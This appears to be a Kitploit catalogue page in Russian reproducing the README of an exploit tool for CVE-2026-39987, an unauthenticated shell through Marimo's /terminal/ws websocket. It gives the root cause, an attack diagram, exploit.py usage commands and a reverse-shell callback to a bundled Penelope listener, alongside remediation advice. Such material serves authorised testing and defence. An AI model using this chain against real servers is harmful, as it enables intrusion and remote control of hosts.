Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39987 — Эксплойт для Marimo до версии 0.23.0. Уязвимость RCE до аутентификации через websocket-эндпоинт: /terminal/ws. | Kitploit
Инструменты/GitHubGitHub/gbuyssens/cve-2026-39987
Генерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Эксплойт для Marimo до версии 0.23.0. Уязвимость RCE до аутентификации через websocket-эндпоинт: /terminal/ws.

Репозиторий
131 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39987 — RCE без аутентификации в Marimo (/terminal/ws)

CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Удалённое выполнение кода без аутентификации в Marimo — реактивном Python-сервере для ноутбуков.
Одно неаутентифицированное WebSocket-соединение с /terminal/ws даёт полноценную интерактивную PTY-оболочку от имени пользователя, под которым запущен процесс Marimo (часто root в Docker).

Только для лабораторных работ / авторизованного тестирования (HTB, CTF, работы в рамках письменного согласования).


Содержание

  • Краткое описание уязвимости
  • Причина уязвимости
  • Цепочка атаки
  • Затронутые версии
  • Состав репозитория
  • Установка
  • Использование
  • Интеграция с Penelope
  • Устранение уязвимости
  • Ссылки

Краткое описание уязвимости

Marimo предоставляет встроенный терминал через WebSocket по адресу:

ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Остальные WebSocket-маршруты (в частности /ws для интерфейса ноутбуков) корректно вызывают validate_auth().
/terminal/ws этого не делает. Он лишь проверяет:

  1. что сервер находится в режиме edit
  2. что платформа поддерживает PTY

и затем сразу:

await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

Не требуется ни cookie, ни токена, ни пароля, ни заголовка Authorization — даже если на экземпляре включена аутентификация.

Воздействие: неаутентифицированное выполнение произвольных команд с правами процесса Marimo. В стандартных контейнерных образах это часто root.


Причина уязвимости

Файл (уязвимая версия): marimo/_server/api/endpoints/terminal.py

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Сравните с WebSocket ноутбука (ws_endpoint.py), который принудительно проверяет аутентификацию:

validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Цепочка атаки

 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Подключитесь к ws(s)://target/terminal/ws без учётных данных
  2. Сервер принимает соединение и запускает оболочку на базе PTY
  3. Отправляйте нажатия клавиш (команды) через WebSocket
  4. При необходимости запустите отвязанный reverse-shell, который переживёт разрыв WebSocket-соединения

Затронутые версии

СтатусВерсии
УязвимыеMarimo <= 0.20.4 (до исправления)
ИсправленныеMarimo 0.23.0 и новее

Любое развёртывание, которое открывает терминальный WebSocket (режим edit, поддержка PTY) без внешнего шлюза аутентификации, попадает в зону риска.


Состав репозитория

ФайлНазначение
exploit.pyPoC: выполнение команд + постоянный reverse-shell + запуск Penelope
penelope.pyАвтономный обработчик оболочки (brightio/penelope)
README.mdЭтот файл

Установка

git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

Для penelope.py не нужны дополнительные зависимости (только стандартная библиотека Python 3.6+).


Использование

1. Разовое выполнение команды

python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

Что происходит:

  1. Дочерний процесс (fork) недолго ждёт, затем доставляет отвязанный reverse-shell через /terminal/ws
  2. Родительский процесс запускает Penelope (exec) на 0.0.0.0:4444
  3. Когда приходит обратное соединение, Penelope автоматически подключается и повышает сессию до полноценного TTY

Если потребуется

python3 exploit.py -h

Интеграция с Penelope

Penelope поставляется в комплекте как автономный скрипт (penelope.py):

  • без установки, только стандартная библиотека
  • обработчик нескольких сессий
  • автоматическое повышение до TTY
  • загрузка/выгрузка файлов, журналирование и т. д.

Стандартный сценарий (-p):

exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

Дочерний процесс используется намеренно: os.execv(penelope) заменяет образ родительского процесса, что убило бы фоновый поток.

Запуск Penelope вручную:

python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Устранение уязвимости

  1. Обновите Marimo >= 0.23.0 (pip install -U marimo)
  2. Не открывайте серверы ноутбуков в режиме edit в публичный интернет
  3. Вынесите аутентификацию/авторизацию на обратный прокси, если приложение должно быть доступно удалённо
  4. Ограничьте доступ localhost/частной сетью; используйте VPN или SSH-туннели
  5. При подозрении на эксплуатацию: смените учётные данные, доступные с хоста (облачные ключи, .env, SSH-ключи), проверьте исходящие соединения и механизмы закрепления (persistence)

Ссылки

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Исправление Marimo — PR #9098
  • Анализ Resecurity
  • Обработчик оболочки Penelope

Отказ от ответственности

Этот проект предназначен только для авторизованного тестирования безопасности, обучения и оборонительных исследований.
Вы несёте ответственность за соблюдение действующего законодательства и правил тестирования вашей лаборатории или заказчика.

Скачать инструмент